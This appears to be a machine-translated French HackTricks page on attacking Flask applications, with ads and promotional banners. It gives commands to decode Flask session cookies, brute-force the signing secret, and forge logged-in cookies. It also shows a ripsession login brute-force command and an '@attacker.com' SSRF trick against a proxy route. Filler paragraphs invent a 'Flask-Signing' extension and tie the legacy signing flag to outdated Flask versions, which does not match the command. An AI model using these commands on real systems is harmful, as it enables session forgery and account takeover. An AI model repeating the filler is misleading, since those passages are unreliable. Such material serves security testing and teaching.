13 KiB
Flask
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
![](/Mirrors/hacktricks/media/commit/cdf30e5833616d09152adcf81de935003e83e25a/.gitbook/assets/image%20%289%29%20%281%29%20%282%29.png)
Utilisez Trickest pour construire et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Probablement, si vous jouez à un CTF, une application Flask sera liée à SSTI.
Cookies
Le nom de session par défaut du cookie est session
.
Décodeur
Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Obtenez la première partie du cookie jusqu'au premier point et décodez-le en Base64>
echo "ImhlbGxvIg" | base64 -d
Le cookie est également signé à l'aide d'un mot de passe
Flask-Unsign
Outil en ligne de commande pour récupérer, décoder, forcer par la méthode brute et créer des cookies de session d'une application Flask en devinant les clés secrètes.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Décoder le Cookie
Le décodage d'un cookie peut être utile lors d'un test d'intrusion pour analyser les informations stockées dans le cookie. Cela peut révéler des données sensibles telles que des identifiants de session, des informations d'authentification ou d'autres informations confidentielles.
Pour décoder un cookie, vous pouvez utiliser des outils en ligne tels que "base64decode.net" ou des bibliothèques de programmation telles que "base64" en Python. Ces outils vous permettent de décoder le contenu du cookie à partir de son encodage en base64.
Voici un exemple de code Python pour décoder un cookie en utilisant la bibliothèque "base64" :
import base64
def decode_cookie(cookie):
decoded_cookie = base64.b64decode(cookie)
return decoded_cookie
cookie = "SGVsbG8gV29ybGQh"
decoded_cookie = decode_cookie(cookie)
print(decoded_cookie)
Dans cet exemple, nous utilisons la fonction b64decode
de la bibliothèque base64
pour décoder le cookie. Le résultat est ensuite affiché à l'écran.
Il est important de noter que le décodage d'un cookie ne garantit pas que vous pourrez accéder à toutes les informations sensibles. Certains cookies peuvent être chiffrés ou avoir d'autres mécanismes de protection qui empêchent leur décodage. Cependant, le décodage du cookie peut être une étape importante dans l'analyse des informations stockées dans celui-ci.
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
La technique de Brute Force est une méthode d'attaque utilisée pour essayer toutes les combinaisons possibles de mots de passe jusqu'à ce que le bon soit trouvé. C'est une approche simple mais efficace pour accéder à un système en exploitant les faiblesses des mots de passe faibles. Les attaquants utilisent généralement des outils automatisés pour effectuer cette tâche, ce qui leur permet de tester rapidement un grand nombre de combinaisons. Pour se protéger contre les attaques de force brute, il est important d'utiliser des mots de passe forts et de mettre en place des mesures de sécurité supplémentaires, telles que des verrouillages de compte après un certain nombre de tentatives infructueuses.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signature
La signature est un mécanisme utilisé pour vérifier l'intégrité et l'authenticité des données. Elle est généralement utilisée pour garantir que les données n'ont pas été modifiées pendant le transit et qu'elles proviennent d'une source fiable.
Dans le contexte du développement web, la signature est souvent utilisée pour protéger les cookies de session et les tokens d'authentification. Lorsqu'un cookie ou un token est signé, il est associé à une clé secrète connue uniquement par le serveur. Lorsque le serveur reçoit le cookie ou le token, il peut vérifier la signature en recalculant celle-ci à l'aide de la clé secrète. Si la signature correspond, cela signifie que les données n'ont pas été modifiées et qu'elles proviennent du serveur.
La bibliothèque Flask, utilisée pour le développement d'applications web en Python, fournit un mécanisme de signature intégré appelé "Flask-Signing". Cette extension permet de signer et de vérifier les données de manière sécurisée.
Pour signer des données avec Flask-Signing, vous pouvez utiliser la fonction signer
fournie par l'extension. Par exemple :
from flask import Flask
from itsdangerous import URLSafeTimedSerializer
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
s = URLSafeTimedSerializer(app.config['SECRET_KEY'])
@app.route('/')
def index():
data = {'username': 'Alice'}
signed_data = s.dumps(data)
return signed_data
Dans cet exemple, nous importons la classe URLSafeTimedSerializer
de la bibliothèque itsdangerous
, qui est utilisée par Flask-Signing pour la signature des données. Nous créons ensuite une instance de URLSafeTimedSerializer
en utilisant la clé secrète de l'application Flask. Ensuite, nous signons les données en utilisant la méthode dumps
de l'instance s
. Les données signées sont renvoyées en tant que réponse HTTP.
Pour vérifier la signature des données, vous pouvez utiliser la fonction loads
de l'instance s
. Par exemple :
@app.route('/verify/<signed_data>')
def verify(signed_data):
try:
data = s.loads(signed_data)
return f"Data: {data}"
except:
return "Invalid signature"
Dans cet exemple, nous définissons une route /verify/<signed_data>
qui prend les données signées en tant que paramètre d'URL. Nous utilisons la méthode loads
de l'instance s
pour vérifier la signature des données. Si la signature est valide, les données sont renvoyées en tant que réponse HTTP. Sinon, un message d'erreur est renvoyé.
La signature est un mécanisme puissant pour garantir l'intégrité et l'authenticité des données. En utilisant Flask-Signing, vous pouvez facilement implémenter la signature dans vos applications web Flask.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signature en utilisant des versions obsolètes (anciennes versions)
Lors de l'évaluation de la sécurité d'une application Flask, il est important de vérifier si elle utilise des versions obsolètes qui pourraient présenter des vulnérabilités connues. Les versions obsolètes de Flask peuvent être sujettes à des attaques de contournement de sécurité ou à des failles connues qui pourraient être exploitées par des attaquants.
Pour identifier si une application Flask utilise une version obsolète, vous pouvez effectuer les étapes suivantes :
-
Recherchez la version de Flask utilisée par l'application. Cela peut être trouvé dans le fichier
requirements.txt
ou dans le fichiersetup.py
de l'application. -
Comparez la version de Flask avec la dernière version disponible sur le site officiel de Flask. Si la version utilisée par l'application est inférieure à la dernière version disponible, cela indique qu'elle utilise une version obsolète.
-
Consultez la documentation de Flask pour identifier les vulnérabilités connues dans les versions obsolètes. Recherchez les correctifs et les mises à jour recommandées pour résoudre ces vulnérabilités.
Si vous identifiez que l'application Flask utilise une version obsolète, il est recommandé de mettre à jour vers la dernière version stable de Flask pour bénéficier des correctifs de sécurité et des améliorations de performance. Assurez-vous de tester soigneusement l'application après la mise à jour pour vous assurer qu'elle fonctionne correctement.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Outil en ligne de commande pour effectuer une attaque par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi dans le cookie de session Flask avec SQLmap
Cet exemple utilise l'option eval
de sqlmap pour automatiquement signer les charges utiles sqlmap pour Flask en utilisant un secret connu.
Proxy Flask vers SSRF
Dans cette explication, il est expliqué comment Flask permet une requête commençant par le caractère "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Dans le scénario suivant :
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Il est possible d'introduire quelque chose comme "@attacker.com" afin de provoquer une SSRF.
![](/Mirrors/hacktricks/media/commit/cdf30e5833616d09152adcf81de935003e83e25a/.gitbook/assets/image%20%289%29%20%281%29%20%282%29.png)
Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.